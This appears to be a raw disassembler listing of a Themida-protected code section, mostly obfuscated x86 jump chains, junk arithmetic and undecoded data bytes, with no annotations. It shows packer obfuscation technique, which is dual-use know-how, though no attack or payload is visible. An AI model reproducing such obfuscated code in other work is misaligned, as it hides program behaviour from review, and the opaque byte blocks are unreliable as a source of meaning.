jmp loc_55D657
; ---------------------------------------------------------------------------
dw 0EB81h
dd 15616D4Ah, 0FFE9D889h, 88FFFF86h, 241C8BD9h, 0FF1653E9h
dd 84BA52FFh, 31271820h, 5A042454h, 0FFBD39E9h, 0E9CEFEFFh
dd 0FFFFA661h, 7504C781h, 0FE011249h, 4EE835Fh, 0FEE9C4E9h
dd 4C481FFh, 8F000000h, 248B2404h, 8373E924h, 9805FFFFh
dd 1319570h, 0F27BE9E8h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_562A76: ; CODE XREF: Themida_:00560FB2j
mov ebx, 40A73EB3h
mov ecx, 40A73EB7h
xor ecx, ebx
jmp loc_558420
; ---------------------------------------------------------------------------
byte_562A87 db 0FFh ; DATA XREF: Themida_:00550740o
dd 34FF2434h, 0EC835924h, 24048904h, 405E089h, 0E9000000h
dd 19C1h, 8BD555Eh, 31699C0Dh, 2434FFEAh, 3EFBE95Dh, 483FFFFh
dd 535F0424h, 0C381E389h, 4, 7C9068h, 24348900h, 3104E9h
dd 69E95600h, 66FFFF74h, 0E96FB368h, 0FFFFC3EBh, 4C481h
dd 0C3010000h, 3AD6C381h, 0C3810B46h, 41E11588h, 0E9008F66h
dd 0FFFEDEB7h
; ---------------------------------------------------------------------------
loc_562AF8: ; CODE XREF: Themida_:00562174j
xor ebx, esi
pop esi
sub [edi+24h], ebx
mov ebx, [esp]
jmp loc_55D920
; ---------------------------------------------------------------------------
loc_562B06: ; CODE XREF: Themida_:00562CA4j
push eax
mov eax, 0A1F38A5h
add eax, 6B541616h
add eax, 5CCE64BCh
jmp loc_551E4C
; ---------------------------------------------------------------------------
loc_562B1B: ; CODE XREF: Themida_:005566B7j
mov eax, esp
add eax, 4
jmp loc_554214
; ---------------------------------------------------------------------------
loc_562B27: ; CODE XREF: Themida_:00552D36j
add edx, 4
xchg edx, [esp]
jmp loc_552205
; ---------------------------------------------------------------------------
loc_562B35: ; CODE XREF: Themida_:005538D5j
xor ecx, edi
not edi
jmp loc_5591AF
; ---------------------------------------------------------------------------
dw 15Fh
dd 0D7C581F5h, 0FF57D305h, 815E2434h, 4C4h, 89BE5600h
dd 810DA715h, 0DD5D18F6h, 0CCF6817Dh, 31497C8Fh, 0E8315EF5h
dd 0FF9780E9h, 22BA52FFh, 81364234h, 0D495AE2h, 0EAC14A0Eh
dd 0E4F28104h, 522CE631h, 0CE95A5Dh, 5DFFFEF8h, 148BD701h
dd 531BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562B96: ; CODE XREF: Themida_:0055E291j
xor edx, [esp]
jmp loc_55B9F4
; ---------------------------------------------------------------------------
dw 3C87h
dd 0EEE95C24h
db 0A7h, 2 dup(0FFh)
byte_562BA7 db 66h ; DATA XREF: Themida_:0055078Co
dd 50240C8Bh, 0EFE9E089h
db 20h, 2 dup(0)
byte_562BB3 db 66h ; DATA XREF: Themida_:00550840o
dd 74FF6656h, 8B660224h, 0C682434h, 8900006Ch, 30E92414h
dd 89FFFFF5h, 44015FF8h, 56580424h, 42B3BF57h, 0C78110D4h
dd 77FE0851h, 2FB9F781h, 0FE898AD5h, 0FFAC55E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562BED: ; CODE XREF: Themida_:0055B4C7j
xor edi, 26DCA120h
jmp loc_55FCC6
; ---------------------------------------------------------------------------
dd 8E7743B9h, 63E9417Fh
db 2Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562C03: ; CODE XREF: Themida_:0055D0F0j
dec edx
push ebp
push esi
mov esi, 0AAF2DC82h
jmp loc_561D67
; ---------------------------------------------------------------------------
loc_562C10: ; CODE XREF: Themida_:00561E2Fj
push 0E6Bh
mov [esp], eax
jmp loc_5558DB
; ---------------------------------------------------------------------------
db 5Ah, 81h, 0C6h
dd 279F1021h, 5E9C681h, 0CE011C41h, 5E9EE81h, 0EE811C41h
dd 279F1021h, 20C4E9h, 0C4835E00h, 242C8104h, 5D275BF2h
dd 81240401h, 5BF22404h, 4815D27h, 411ADB24h, 0DD51E97Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_562C5E: ; CODE XREF: Themida_:0056257Cj
mov [esp], esi
push edx
jmp loc_55B450
; ---------------------------------------------------------------------------
db 5
dd 4, 293DE9h, 0C1815900h, 4, 0E904C183h, 0FFFF9986h, 69FDE952h
dd 0EFC0FFFFh, 3E7C004h, 5145EF80h, 0ED8038B5h, 0E9CDFEA3h
dd 0FFFF590Ah
; ---------------------------------------------------------------------------
loc_562C9C: ; CODE XREF: Themida_:00561FF2j
mov ebx, esp
add ebx, 4
jmp loc_562B06
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 885201B3h, 0F78853DEh, 67E9F888h
db 22h, 2 dup(0)
byte_562CBB db 0FFh ; DATA XREF: Themida_:005508B8o
dd 34FF2434h, 89505924h, 405E0h, 46E90000h
db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_562CCF: ; CODE XREF: Themida_:0055863Aj
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
push ebp
mov ebp, 4
mov ecx, ebp
pop ebp
add ebp, ecx
push dword ptr [esp]
pop ecx
jmp loc_561FF1
; ---------------------------------------------------------------------------
loc_562D00: ; CODE XREF: Themida_:005645FBj
sub ebx, 2D57511Fh
sub ebx, eax
add ebx, 2D57511Fh
pop eax
add ebx, edi
sub esp, 4
mov [esp], esi
mov esi, 0AB32308h
sub ebx, 6B8E4ECEh
add ebx, esi
jmp loc_5598D1
; ---------------------------------------------------------------------------
dd 6050BF57h, 0FE890221h, 0FF89A3E9h, 2404FFFFh, 1F7685Bh
dd 3C890000h, 7635BF24h, 814F4493h, 17655CEFh, 4CF7813Eh
dd 8172D95Dh, 0EB4C93EFh, 5FFB29F9h, 54ACF381h, 0F3815C4Ah
dd 2CFD4DC7h, 0FF422DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562D71: ; CODE XREF: Themida_:0055D6D9j
xchg ebp, [esp]
pop esp
jmp loc_562F00
; ---------------------------------------------------------------------------
loc_562D7A: ; CODE XREF: Themida_:0055A255j
mov edx, [esp]
add esp, 4
and eax, edx
push dword ptr [esp]
jmp loc_55B142
; ---------------------------------------------------------------------------
dw 0E958h
dd 0EC8h, 66D3F766h, 66576643h, 0E95881BFh, 0FFFF3554h
dd 0E781DFF7h, 54ED775Bh, 5CFE68h, 242C8900h, 744B41BDh
dd 0DF1BE939h, 0D105FFFEh, 55716362h, 0E66030BDh, 1EC58116h
dd 81258A1Bh, 70BB30C5h, 95BEE92Ch, 5966FFFFh, 305BDE88h
dd 148B66F3h, 52E95624h, 43FFFF56h, 11B7F381h, 58E97CBEh
dd 57000026h, 2B6ACCBFh, 5FF88956h, 20B7E9h, 4FEE8100h
dd 0E94CC265h, 0FFFF78F7h, 24048F5Ah, 2434895Ch, 0FF5E3BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562E19: ; CODE XREF: Themida_:00555922j
xor eax, ecx
push 2743h
mov [esp], eax
not dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
jmp loc_552713
; ---------------------------------------------------------------------------
dd 17A79305h, 58C301A7h, 0E95BDF89h, 0FFFF51B0h, 673FC181h
dd 0AE972BEh
db 17h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562E4F: ; CODE XREF: Themida_:0055DC72j
sub esi, 0B7220Eh
jmp loc_558320
; ---------------------------------------------------------------------------
word_562E5A dw 8B66h ; DATA XREF: Themida_:00550864o
dd 9AE9240Ch
db 35h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562E63: ; CODE XREF: Themida_:0055A242j
add esi, 85E6418h
add eax, esi
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push 660C1A7Eh
pop ebx
and ebx, 18FC3DEFh
neg ebx
or ebx, 6416675h
add ebx, 755F4A70h
push edi
push ebx
jmp loc_565B81
; ---------------------------------------------------------------------------
dd 4EEA815Fh, 81157746h, 656BC3EAh, 81C20164h, 656BC3C2h
dd 0E9525064h, 0FFFF7B09h, 2E5C14Dh, 4C27C581h, 0C58116E9h
dd 1C280AEAh, 0FF2EC4E9h, 1CC181FFh, 8B244570h, 16E9241Ch
dd 46000029h, 0BA52E6D1h, 4A3E2D59h, 0C2EA8142h, 0C16EF358h
dd 0C28105E2h, 0A2DD2486h, 15AD601h, 97685EF3h, 0E900004Ch
dd 0FFFF42CFh
; ---------------------------------------------------------------------------
loc_562F00: ; CODE XREF: Themida_:00562D75j
sub ebx, 77E4110Eh
xor ebx, 91D45DA1h
add eax, ebx
pop ebx
xchg eax, [esp]
mov esp, [esp]
jmp loc_561E02
; ---------------------------------------------------------------------------
loc_562F1A: ; CODE XREF: Themida_:0055C0B3j
pop ebx
push ebx
jmp loc_554D3C
; ---------------------------------------------------------------------------
byte_562F21 db 0ACh, 68h, 0F1h ; DATA XREF: Themida_:00550880o
dd 8900007Ah, 0EFB1240Ch, 0FEA8B252h, 4B20E9C2h, 8158FFFFh
dd 0D634E0F2h, 89EB811Ah, 0E9719733h, 0FFFF52C3h
; ---------------------------------------------------------------------------
loc_562F48: ; CODE XREF: Themida_:00554BCBj
xchg ecx, [esp]
mov esp, [esp]
mov [esp], esi
push 7634h
mov [esp], ebp
mov ebp, esp
jmp loc_5570FC
; ---------------------------------------------------------------------------
dd 0CFE9FB01h, 80000006h, 91E988C2h
db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562F6F: ; CODE XREF: Themida_:00564234j
mov ecx, 0FFFFFFFFh
push edi
mov edi, ecx
push edi
add dword ptr [esp], 559453A8h
mov ebx, [esp]
add esp, 4
jmp loc_56478C
; ---------------------------------------------------------------------------
dw 5659h
dd 0FF024FE9h, 0FAB353FFh, 0FF5C62E9h, 2434FFFFh, 1DE2E9h
db 0
; ---------------------------------------------------------------------------
loc_562FA1: ; CODE XREF: Themida_:00565BF8j
push esp
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_554BA2
; ---------------------------------------------------------------------------
loc_562FB5: ; CODE XREF: Themida_:00560CEEj
xor [esp], edi
jmp loc_553281
; ---------------------------------------------------------------------------
loc_562FBD: ; CODE XREF: Themida_:00556A4Dj
pop eax
jmp loc_55472A
; ---------------------------------------------------------------------------
loc_562FC3: ; CODE XREF: Themida_:00559D3Ej
dec ebx
dec ebx
xor ebx, 4E5D7A71h
push edi
mov edi, 42370CD4h
sub ebx, edi
pop edi
add edi, ebx
pop ebx
jmp loc_55CFB3
; ---------------------------------------------------------------------------
loc_562FDC: ; CODE XREF: Themida_:00551E3Dj
pop edx
push esi
jmp loc_5572E1
; ---------------------------------------------------------------------------
loc_562FE3: ; CODE XREF: Themida_:0055C8C4j
jmp loc_5509AF
; ---------------------------------------------------------------------------
dd 33240431h, 248B2404h, 0D77DE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562FF6: ; CODE XREF: Themida_:00564268j
xor eax, 70EF746Ah
mov ecx, eax
pop eax
xor ecx, 6BC76D1Eh
shr ecx, 1
sub ecx, 35D335C5h
sub esi, 76463Ah
add esi, ecx
add esi, 76463Ah
mov ecx, [esp]
add esp, 4
sub esp, 4
jmp loc_5518AE
; ---------------------------------------------------------------------------
dw 5456h
dd 8324348Bh, 0C68104C4h, 4, 4BB53h, 0BD550000h, 3B4B7CA2h
dd 0FF53BFE9h, 0EC8158FFh, 4, 55240C89h, 688A68h, 241C8900h
dd 0E73453BBh, 4ECB8138h, 0E9467157h, 0FFFF411Bh, 43234E05h
dd 1175E927h, 5C01FFFFh, 0FFE90824h
db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563083: ; CODE XREF: Themida_:00557080j
sub edx, eax
pop eax
xor ebp, edx
jmp loc_554331
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 81000000h, 0C904B2EEh, 81C6290Ah, 0C904B2C6h, 5BFEE90Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5630A6: ; CODE XREF: Themida_:0055ADBAj
add eax, 5FFDB282h
add ecx, eax
jmp loc_56554C
; ---------------------------------------------------------------------------
dw 1C87h
dd 0EC835C24h, 24248904h, 0FF6852E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5630C1: ; CODE XREF: Themida_:00563715j
xor edi, 555D05E6h
mov esi, edi
pop edi
sub esi, 6083169Bh
add edx, esi
pop esi
jmp loc_55255A
; ---------------------------------------------------------------------------
dd 0D50E6768h, 5357597Bh, 8F27F3BBh, 3E3C172h, 3135B850h
dd 0C32918A4h, 0F86E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5630F6: ; CODE XREF: Themida_:00563407j
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
sub esp, 4
mov [esp], edi
mov edi, 180A0259h
neg edi
not edi
sub edi, 70222999h
push ebp
mov ebp, 0
sub ebp, edi
mov edi, ebp
pop ebp
jmp loc_5559CD
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 32685200h, 0E962C57Ah, 0FFFF2FF0h, 63EE6856h
dd 24890000h, 4BD5524h, 1000000h, 0E904246Ch, 0FFFFF59Ah
; ---------------------------------------------------------------------------
loc_56314C: ; CODE XREF: Themida_:00564992j
xchg ecx, [esp]
push ecx
not dword ptr [esp]
pop ecx
xor [esp], ecx
jmp loc_563C12
; ---------------------------------------------------------------------------
dword_56315C dd 0E940478Fh, 0FFFED84Bh, 0DFF7FA87h, 0EC81FA87h, 4, 68242C89h
; DATA XREF: Themida_:005508D8o
dd 55DE9AC7h, 81242C8Bh, 4C4h, 5DEA3100h, 12DB68h, 24148900h
dd 0FEDF8FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563191: ; CODE XREF: Themida_:00552610j
xor ebp, 3E5716C9h
inc ebp
sub esp, 4
mov [esp], edi
mov edi, 1850239Ch
add edi, 0BE04DC2Eh
jmp loc_55E15D
; ---------------------------------------------------------------------------
loc_5631B1: ; CODE XREF: Themida_:005529EFj
add ecx, 49121E71h
add ecx, edx
sub ecx, 49121E71h
sub ecx, 55E52B45h
sub ecx, 1E3F4C56h
pop edx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_551F60
; ---------------------------------------------------------------------------
dw 0E958h
dd 0FFFFEAB2h
; ---------------------------------------------------------------------------
loc_5631E0: ; CODE XREF: Themida_:0055CCD7j
mov eax, [esp]
add esp, 4
push eax
jmp loc_5617AD
; ---------------------------------------------------------------------------
dd 0E9240C89h, 0FFFFDA10h, 81E9E189h, 0E9FFFFBEh, 0FFFED7AFh
dd 7E2C059h, 1BEAE9h
db 0
byte_563209 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550790o
dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 0FFE2F3E9h
dd 2C783FFh, 38368h, 0DB0DE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56322E: ; CODE XREF: Themida_:0055846Fj
add ebp, 591B7A57h
mov ebx, [esp]
add esp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_553C53
; ---------------------------------------------------------------------------
loc_563248: ; CODE XREF: Themida_:0055B42Aj
sub esp, 4
mov [esp], eax
mov eax, esp
push ecx
mov ecx, 4
add eax, ecx
jmp loc_554512
; ---------------------------------------------------------------------------
loc_563260: ; CODE XREF: Themida_:0055A26Bj
mov edx, 27A71991h
not edx
and edx, 7A7205Eh
not edx
add edx, 1C9A017Dh
add edx, 50966CE3h
xor edx, 382B3347h
sub ebp, edx
pop edx
add ecx, ebp
mov ebp, [esp]
add esp, 4
push eax
mov eax, 2541059Ah
push ecx
jmp loc_55ADAC
; ---------------------------------------------------------------------------
loc_56329B: ; CODE XREF: Themida_:0055C34Aj
mov [edi+28h], bl
push dword ptr [esp]
pop ebx
push 587Bh
mov [esp], edx
push esp
pop edx
push ecx
mov ecx, 4
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5509AF
; ---------------------------------------------------------------------------
db 45h
dd 7E74ED81h, 0E5C15850h, 81D5F704h, 1ECB88F5h, 5DEF3197h
dd 295FFD89h, 0DD015AD5h, 1D1DE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5632E6: ; CODE XREF: Themida_:0055EC13j
mov ebx, edx
pop edx
push esi
push edi
mov edi, 104C6892h
and edi, 479B7CBCh
push edx
jmp loc_5525B6
; ---------------------------------------------------------------------------
loc_5632FC: ; CODE XREF: Themida_:00553B2Ej
add ebx, 948B986Ch
push esi
mov esi, ebx
mov edx, esi
mov esi, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
jmp loc_5583F8
; ---------------------------------------------------------------------------
dd 5CC380h, 0DDBCE9CBh, 0C483FFFEh, 0FF16804h, 14890000h
dd 0A8BBA24h, 0ABE937A4h
db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_563337: ; CODE XREF: Themida_:005529CBj
mov ebx, edx
pop edx
sub eax, ebx
pop ebx
mov edi, [esp]
jmp loc_556574
; ---------------------------------------------------------------------------
loc_563345: ; CODE XREF: Themida_:0056599Aj
pop edx
push esi
push 4
pop esi
sub ecx, esi
pop esi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, ebx
mov eax, ebp
jmp loc_55BCC5
; ---------------------------------------------------------------------------
loc_563366: ; CODE XREF: Themida_:005573AEj
push dword ptr [esp]
pop esi
jmp loc_551AA4
; ---------------------------------------------------------------------------
loc_56336F: ; CODE XREF: Themida_:005594F7j
push 3F43h
mov [esp], edx
push esp
pop edx
jmp loc_5614E8
; ---------------------------------------------------------------------------
loc_56337E: ; CODE XREF: Themida_:0055447Fj
pop dword ptr [esp]
pop esp
shr ecx, 0
or eax, eax
jz loc_559AEB
push 3C7Bh
mov [esp], esi
sub esp, 4
mov [esp], ebx
sub dword ptr [esp], 1A1E5EB9h
pop esi
jmp loc_5574FE
; ---------------------------------------------------------------------------
loc_5633A8: ; CODE XREF: Themida_:0055B6D1j
mov esi, 507A72EAh
neg esi
sub esi, 17537423h
push ebp
jmp loc_5636E7
; ---------------------------------------------------------------------------
loc_5633BB: ; CODE XREF: Themida_:00559D6Dj
push edx
push dword ptr [esp+4]
pop edx
jmp loc_565147
; ---------------------------------------------------------------------------
dw 515Ah
dd 667E9E68h, 725CE931h, 0E2C1FFFFh, 71F28103h, 81772508h
dd 1EAh, 8CF28100h, 5A0DCF7h, 30054810h, 0C656B02Dh, 0E9D0010Ah
dd 5DAh
; ---------------------------------------------------------------------------
loc_5633F8: ; CODE XREF: Themida_:005525FDj
shr edi, 8
sub edi, 0FE841Ah
sub ebp, edi
pop edi
xchg ebp, [esp]
jmp loc_5630F6
; ---------------------------------------------------------------------------
dd 0C581D501h, 22EB0A34h, 0FF97D6E9h, 815F5FFFh, 9C3A3EF7h
dd 242C8B0Ch, 0BA04C483h, 9D4984ABh, 0FF237BE9h
db 0FFh
byte_563431 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00550928o
dd 0FFCB12E9h, 75BF57FFh, 81048720h, 0AF2EF2F7h, 5FF8310Eh
dd 0FF3590E9h, 505166FFh, 0C188FFB0h, 0E9CB0058h, 0FFFF2110h
; ---------------------------------------------------------------------------
loc_56345C: ; CODE XREF: Themida_:0055FDFFj
push esi
mov esi, 435A1E81h
or esi, 697D38E9h
add esi, 97A8DE7Dh
jmp loc_550FEA
; ---------------------------------------------------------------------------
loc_563473: ; CODE XREF: Themida_:0055C601j
mov [esp], esi
pop ebx
push ebx
jmp loc_563673
; ---------------------------------------------------------------------------
loc_56347D: ; CODE XREF: Themida_:0055AF07j
push eax
jmp loc_5649B3
; ---------------------------------------------------------------------------
loc_563483: ; CODE XREF: Themida_:005606D6j
add esp, 4
jmp loc_55BB27
; ---------------------------------------------------------------------------
word_56348E dw 6664h ; DATA XREF: Themida_:00550800o
dd 6866028Bh, 896628B0h, 10E92404h, 57FFFED5h, 0BF3FCD68h
dd 243C8B7Bh, 0E9595451h, 0FFFF2FF4h, 0E906EBC1h, 0FFFF7FBFh
dd 4C48358h, 24148B66h, 5D6768h, 241C8900h, 8904EC83h
dd 4812424h, 424h, 2434FF00h, 0E9241C8Bh, 0FFFFB072h, 0E9D2315Ch
dd 0FFFF6EF2h, 5753BD55h, 814D120Ah, 0CC3086C5h, 3EDC101h
dd 7E5C14Dh, 0FFE34FE9h, 7EBF57FFh, 122E07Bh, 243C8BFAh
dd 0FF08E2E9h, 5B20BDFFh, 0E829422Eh, 83242C8Bh, 4E904C4h
dd 31FFFFBBh, 34332434h, 0FB895C24h, 1C5F215Fh, 5B2434FFh
dd 0E904C483h, 0FFFF32ECh
; ---------------------------------------------------------------------------
loc_56353C: ; CODE XREF: Themida_:005549DFj
pop esi
xor esi, 8DF2BBEh
mov eax, esi
pop esi
xor eax, 54AE7877h
shr eax, 6
shl eax, 1
xor eax, 6A5324C0h
jmp loc_5580F8
; ---------------------------------------------------------------------------
loc_56355A: ; CODE XREF: Themida_:0055449Cj
mov esp, [esp]
jmp loc_559B09
; ---------------------------------------------------------------------------
loc_563562: ; CODE XREF: Themida_:00558D04j
mov ebx, 2
sub ebp, 591B7A57h
jmp loc_56031F
; ---------------------------------------------------------------------------
dw 34FFh
dd 0C4835824h, 24343304h, 33243431h, 248B2434h, 24048924h
dd 0FED422E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56358D: ; CODE XREF: Themida_:00554D50j
xor ebx, [esp]
pop esp
mov [esp], eax
jmp loc_5566BC
; ---------------------------------------------------------------------------
db 5Ch, 83h, 0C1h
dd 74FF5104h, 8F590424h, 248B2404h, 9E1AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5635AE: ; CODE XREF: Themida_:0055A983j
movzx eax, al
mov dx, [esp]
push 6168h
mov [esp], ecx
push 4199h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
jmp loc_55F589
; ---------------------------------------------------------------------------
dd 3BB3E981h, 47E96F41h
db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5635E3: ; CODE XREF: Themida_:00553249j
xchg ebp, [esp]
pop esp
mov [esp], edx
mov edx, 0D622AA2h
push edi
jmp loc_5543AA
; ---------------------------------------------------------------------------
loc_5635F5: ; CODE XREF: Themida_:00563AF8j
sub esp, 4
mov [esp], edi
push 66FA2C38h
pop edi
jmp loc_555561
; ---------------------------------------------------------------------------
loc_563609: ; CODE XREF: Themida_:00561A17j
add esi, eax
pop eax
sub esi, 4
xchg esi, [esp]
jmp loc_564901
; ---------------------------------------------------------------------------
db 89h
dd 24148BD0h, 4C481h, 0C6210000h, 58EE8158h, 8114B53Eh
dd 322DF7E6h, 1085E914h, 875F0000h, 248B241Ch, 0BA525024h
dd 26A175ECh, 7C0DCA81h, 0F28142B0h, 66B17DE9h, 0B4E9D089h
dd 33000011h, 895C2414h, 0E589242Ch, 0FF9459E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563665: ; CODE XREF: Themida_:005547A4j
mov ebp, 23B950AAh
or esi, ebp
pop ebp
inc esi
jmp loc_55E5FD
; ---------------------------------------------------------------------------
loc_563673: ; CODE XREF: Themida_:00563478j
mov edi, [esp]
add esp, 4
jmp loc_552108
; ---------------------------------------------------------------------------
db 52h, 68h, 23h
dd 5A56851Bh, 0E2C1D2F7h, 84C28105h, 0E9D0A364h, 0FFFF9E8Dh
dword_563698 dd 0E932FF66h, 0FFFF3D55h, 240C335Dh, 33240C31h, 248B240Ch
; DATA XREF: Themida_:00550888o
dd 8BF9E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5636B2: ; CODE XREF: Themida_:00557782j
or edi, 4C8248AAh
jmp loc_554AFA
; ---------------------------------------------------------------------------
loc_5636BD: ; CODE XREF: Themida_:005553F1j
xor [esp+4], ebp
pop ebp
pop ebp
xor ebp, 0B0D0746h
mov edx, [esp]
add esp, 4
sub ebp, 23B96C01h
jmp loc_563798
; ---------------------------------------------------------------------------
loc_5636DD: ; CODE XREF: Themida_:00561D9Aj
mov edi, 4
jmp loc_5641DB
; ---------------------------------------------------------------------------
loc_5636E7: ; CODE XREF: Themida_:005633B6j
mov ebp, 2DC9353Ch
not ebp
shr ebp, 2
xor ebp, 7063978h
xchg eax, ebp
xchg eax, ebp
not ebp
xchg eax, ebp
xchg eax, ebp
xor ebp, 8D033F28h
or esi, ebp
pop ebp
jmp loc_5600F6
; ---------------------------------------------------------------------------
loc_56370B: ; CODE XREF: Themida_:0055BF71j
mov edx, esp
push esi
push edi
push 35DE1379h
pop edi
jmp loc_5630C1
; ---------------------------------------------------------------------------
loc_56371A: ; CODE XREF: Themida_:00560E7Bj
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
push edx
mov edx, 100206F5h
not edx
add edx, 100206FAh
add esi, edx
mov edx, [esp]
jmp loc_552BB9
; ---------------------------------------------------------------------------
loc_563747: ; CODE XREF: Themida_:00551BF8j
add esi, ebp
pop ebp
jmp loc_55A59C
; ---------------------------------------------------------------------------
loc_56374F: ; CODE XREF: Themida_:005546D3j
add eax, 4
xchg eax, [esp]
jmp loc_557547
; ---------------------------------------------------------------------------
dd 6BE6EE81h, 0DCE94CF4h, 31FFFFAAh, 14332414h, 24248B24h
dd 68C8B70Fh, 74D0h, 0FF474DE9h, 19C581FFh, 0E927234Bh
dd 0FFFF54B4h, 887FF281h, 0D5899015h, 0E924148Bh, 0FFFF37D9h
; ---------------------------------------------------------------------------
loc_563798: ; CODE XREF: Themida_:005636D8j
add ebp, edi
push ecx
mov ecx, 23B96C01h
jmp loc_550EAE
; ---------------------------------------------------------------------------
loc_5637A5: ; CODE XREF: Themida_:00551DB6j
xor ebx, 770FD480h
mov ecx, ebx
jmp loc_563E06
; ---------------------------------------------------------------------------
dw 565Ch
dd 0B97631BEh, 3E6C170h, 0BB53EED1h, 1E5014FDh, 535BDE21h
dd 4F3CBE56h, 814E3104h, 0ED6BADCEh, 9C6816Eh, 89D6EDAAh
dd 0D9E95EF3h
db 0D5h, 0FFh
word_5637E2 dw 50FFh ; DATA XREF: Themida_:0053D9E0o
dd 5CE95854h, 1FFFEE8h, 8EE95DEAh, 5CFFFFBAh, 0B252BA24h
dd 0D0EAD07Fh, 0A6C280EAh, 0FFACD0E9h
db 0FFh
byte_563805 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005508C0o
dd 0FFABADE9h, 0C5C281FFh, 5B3B5F0Bh, 0AE5E952h, 34FFFFFFh
dd 5530E924h, 0C483FFFFh, 81E2D104h, 490946C2h, 85B9514Dh
dd 81403118h, 99312CC9h, 95BB531Fh, 811D333Ah, 0B125FEF3h
dd 4BDBF73Bh, 50EB8143h, 1AAE1A6h, 0F1815BD9h, 0F57E0AB8h
dd 0E959CA29h, 0FFFF38AAh, 3B4E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_563866: ; CODE XREF: Themida_:0055FFB9j
not ebx
sub ebx, 2D9A0998h
add ebx, 73EA2FDEh
add ebx, 0EB716507h
sub ecx, ebx
jmp loc_551216
; ---------------------------------------------------------------------------
db 89h, 0E6h, 0E9h
dd 0FFFF38E2h, 81242489h, 42404h, 2C8B0000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_555B29
; ---------------------------------------------------------------------------
db 80h, 0F5h, 3
dd 5159EF00h, 0E980D8B1h, 7FB25221h, 808AEA80h, 0EA80FFC2h
dd 0F6FA8604h, 80FA86D7h, 0E945F2h
db 1Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5638C3: ; CODE XREF: Themida_:00556C16j
mov edx, esp
jmp loc_5575F5
; ---------------------------------------------------------------------------
loc_5638CA: ; CODE XREF: Themida_:00552392j
push esp
pop edx
sub esp, 4
mov [esp], edi
push esi
jmp loc_55A636
; ---------------------------------------------------------------------------
db 8Bh
dd 81522414h, 4ECh, 24248900h, 4240483h, 4C2815Ah, 55000000h
dd 4BDh, 5DEA0100h, 0E9241487h, 0FFFFFBDCh
db 8Bh, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55DCBE
; ---------------------------------------------------------------------------
db 0Fh
dd 34FFC0B6h, 1D6FE987h, 4310000h, 80E99C24h
db 0D0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56392F: ; CODE XREF: Themida_:00552A2Bj
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_55AD8C
; ---------------------------------------------------------------------------
db 5Ch
dd 56242489h, 2730BD55h, 34BE3E46h, 293E4627h, 74015DEEh
dd 33E90424h
db 80h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56395F: ; CODE XREF: Themida_:00556636j
not edx
inc edx
add edx, 33AA16FBh
add edx, 26973DBFh
jmp loc_554FB5
; ---------------------------------------------------------------------------
aAXyyQpr db '─гXYYпОPR╡',0
dw 57E9h
db 11h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563983: ; CODE XREF: Themida_:0055A2B5j
push 7D9Eh
mov [esp], eax
push edx
mov edx, 12C4896h
mov eax, edx
pop edx
or eax, 29FC2612h
add eax, 155D43C1h
add eax, 70805D99h
inc eax
jmp loc_55BB89
; ---------------------------------------------------------------------------
db 0C0h, 0EDh, 6
dd 0D5F6C5FEh, 0ED80C5FEh, 0E9EF20A8h, 0FFFFB059h
; ---------------------------------------------------------------------------
